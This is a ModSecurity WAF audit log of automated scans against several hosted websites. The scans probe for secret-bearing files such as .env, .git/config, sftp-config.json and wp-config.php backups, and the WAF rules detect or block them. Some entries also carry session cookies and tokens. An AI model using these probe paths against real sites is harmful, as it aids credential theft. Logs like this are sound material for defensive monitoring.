Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqYXJjTJ6xTvcJoem7f12gAAAEs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269798979290 104770 (- - -)
Stopwatch2: 1789269798979290 104770; combined=5217, p1=265, p2=4817, p3=0, p4=0, p5=134, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e199037-Z--

--2664953d-A--
[13/Sep/2026:06:23:19.308571 +0300] aqYXJ2M7dE9KgIIOpQhfUwAAAMU 185.55.243.172 49240 127.0.0.1 7081
--2664953d-B--
GET /sftp-config.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--2664953d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2664953d-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqYXJ2M7dE9KgIIOpQhfUwAAAMU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/sftp-config.json"] [unique_id "aqYXJ2M7dE9KgIIOpQhfUwAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269799222669 85975 (- - -)
Stopwatch2: 1789269799222669 85975; combined=3857, p1=217, p2=3560, p3=0, p4=0, p5=79, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2664953d-Z--

--7de5d008-A--
[13/Sep/2026:06:23:19.451303 +0300] aqYXJ2M7dE9KgIIOpQhfVAAAANM 185.55.243.172 49242 127.0.0.1 7081
--7de5d008-B--
GET /.vscode/sftp.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--7de5d008-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7de5d008-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/.vscode/sftp.json"] [unique_id "aqYXJ2M7dE9KgIIOpQhfVAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269799368971 82378 (- - -)
Stopwatch2: 1789269799368971 82378; combined=4418, p1=266, p2=4095, p3=0, p4=0, p5=56, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7de5d008-Z--

--7d8ae12d-A--
[13/Sep/2026:06:23:19.632253 +0300] aqYXJysVWymXUono-eRQ4AAAAAk 185.55.243.172 49244 127.0.0.1 7081
--7d8ae12d-B--
GET /.vscode/sftp.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--7d8ae12d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7d8ae12d-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/.vscode/sftp.json"] [unique_id "aqYXJysVWymXUono-eRQ4AAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269799545445 86854 (- - -)
Stopwatch2: 1789269799545445 86854; combined=3789, p1=309, p2=3425, p3=0, p4=0, p5=54, sr=183, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7d8ae12d-Z--

--1027512a-A--
[13/Sep/2026:06:32:37.286335 +0300] aqYZVUwu1RSkptiiNIXuowAAAIw 162.243.61.206 58136 127.0.0.1 7081
--1027512a-B--
GET /.env HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br

--1027512a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1027512a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/.env"] [unique_id "aqYZVUwu1RSkptiiNIXuowAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789270357199266 87147 (- - -)
Stopwatch2: 1789270357199266 87147; combined=4721, p1=305, p2=4342, p3=0, p4=0, p5=74, sr=131, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1027512a-Z--

--e09b444a-A--
[13/Sep/2026:06:32:40.540840 +0300] aqYZWDTJ6xTvcJoem7f16QAAAFI 172.86.81.83 58142 127.0.0.1 7081
--e09b444a-B--
GET /.git/config HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip

--e09b444a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e09b444a-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "sabotagerum.com"] [uri "/.git/config"] [unique_id "aqYZWDTJ6xTvcJoem7f16QAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/.git/config"] [unique_id "aqYZWDTJ6xTvcJoem7f16QAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "sabotagerum.com"] [uri "/.git/config"] [unique_id "aqYZWDTJ6xTvcJoem7f16QAAAFI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789270360438952 101952 (- - -)
Stopwatch2: 1789270360438952 101952; combined=38709, p1=261, p2=38375, p3=0, p4=0, p5=72, sr=136, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e09b444a-Z--

--dd01b70e-A--
[13/Sep/2026:06:37:16.527967 +0300] aqYabGM7dE9KgIIOpQhfrQAAAMI 66.249.69.193 42074 127.0.0.1 7081
--dd01b70e-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 66.249.69.193
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 416
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
Cookie: cto_bundle=JFM-jF9DdzRRWGNuMXRWeiUyQjFtamo3YnBYZDEwc3J1OXlyaWxqbyUyRlN1NXUlMkYxc2VQRzZmMUdJRldkS1NIYWlEbXklMkZDMkolMkY2OVY4T3pZOGw3U0RrcWFMTFV3Q2c3N1RaVGdZSHhjciUyRnBhQVFlWDczSVBzeWx6YmYlMkJyJTJGcVFDa0dkZGNLa25EVU9OOTlsV3ZZVEJyU2xSaGljSWdnJTNEJTNE; aws-waf-token=a808f726-5420-4c29-96f3-b9c43b848303:EgoAmYIY+p2eAAAA:OIFLk6U7HyUbImy1zx4PO6Fypdrrxayff7c3ne7UUpfQN5Et/Qai43QE+BAzh1ofDw38m75JI3tIv0bVZrBW4kGyMqr/cPxTyKN+/FcghqNk1JfztJugoKUAcCXW56idOD4OZG23hqQRTl3WqDYn/BNyMgsqKUplkwh8HsUU5JtyzO8MuHRxYD8GHj9hZ6Kw1sLtX8EGazqIU2nbtxxz4ukxuzU8hIotQz6BpYZdRXNIp5KWH1aRWEQ7ebN4jdr19ehfja75ui6nGwxlv+MzaNsLTifd8YKvKk368UVcsJEJHhrQbDQbq4UV8PWhU/6HjqSmWw/M6HSBnoHf
Origin: https://ihelp.ro
Referer: https://ihelp.ro/?artikel=juragan99
X-Booking-CSRF: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
Accept: */*
From: googlebot(at)googlebot.com
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.7977.82 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept-Encoding: gzip, deflate, br

--dd01b70e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 340a7cb1-dfa9-4a7b-af1e-5f26209268d0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--dd01b70e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789270636392784 135278 (- - -)
Stopwatch2: 1789270636392784 135278; combined=7623, p1=507, p2=6706, p3=0, p4=0, p5=410, sr=170, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--dd01b70e-Z--

--efa06a14-A--
[13/Sep/2026:06:46:26.719561 +0300] aqYckmM7dE9KgIIOpQhf7AAAAM0 151.243.174.120 55400 127.0.0.1 7081
--efa06a14-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--efa06a14-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--efa06a14-E--

--efa06a14-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789271186702682 17052 (- - -)
Stopwatch2: 1789271186702682 17052; combined=9262, p1=3516, p2=5007, p3=223, p4=14, p5=502, sr=750, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--efa06a14-Z--

--6af14a3f-A--
[13/Sep/2026:06:46:27.337215 +0300] aqYckzTJ6xTvcJoem7f1-QAAAEk 151.243.174.98 55404 127.0.0.1 7081
--6af14a3f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.98
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--6af14a3f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6af14a3f-E--

--6af14a3f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789271187331569 5705 (- - -)
Stopwatch2: 1789271187331569 5705; combined=4182, p1=314, p2=3544, p3=68, p4=7, p5=248, sr=104, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6af14a3f-Z--

--00f73408-A--
[13/Sep/2026:06:46:27.880494 +0300] aqYck2M7dE9KgIIOpQhf7gAAAMg 95.134.102.227 55414 127.0.0.1 7081
--00f73408-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.227
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--00f73408-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--00f73408-E--

--00f73408-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789271187874718 5819 (- - -)
Stopwatch2: 1789271187874718 5819; combined=4345, p1=230, p2=3793, p3=66, p4=7, p5=249, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--00f73408-Z--

--bc59dc77-A--
[13/Sep/2026:06:49:07.733157 +0300] aqYdM2M7dE9KgIIOpQhgBQAAANY 216.81.248.147 40490 127.0.0.1 7081
--bc59dc77-B--
GET /.git/config HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 216.81.248.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9
Accept-Charset: utf-8
Accept-Encoding: gzip

--bc59dc77-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--bc59dc77-E--

--bc59dc77-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYdM2M7dE9KgIIOpQhgBQAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYdM2M7dE9KgIIOpQhgBQAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYdM2M7dE9KgIIOpQhgBQAAANY"]
Stopwatch: 1789271347694697 38537 (- - -)
Stopwatch2: 1789271347694697 38537; combined=35750, p1=1338, p2=34243, p3=92, p4=11, p5=66, sr=221, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bc59dc77-Z--

--26d9015d-A--
[13/Sep/2026:07:01:07.988063 +0300] aqYgAzTJ6xTvcJoem7f2LAAAAEU 169.40.142.172 48610 127.0.0.1 7081
--26d9015d-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--26d9015d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--26d9015d-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgAzTJ6xTvcJoem7f2LAAAAEU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgAzTJ6xTvcJoem7f2LAAAAEU"]
Action: Intercepted (phase 2)
Stopwatch: 1789272067928546 59632 (- - -)
Stopwatch2: 1789272067928546 59632; combined=57498, p1=256, p2=56629, p3=0, p4=0, p5=612, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--26d9015d-Z--

--dccd5a2b-A--
[13/Sep/2026:07:01:08.521336 +0300] aqYgBCsVWymXUono-eRRCAAAABQ 169.40.142.172 48626 127.0.0.1 7081
--dccd5a2b-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--dccd5a2b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dccd5a2b-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
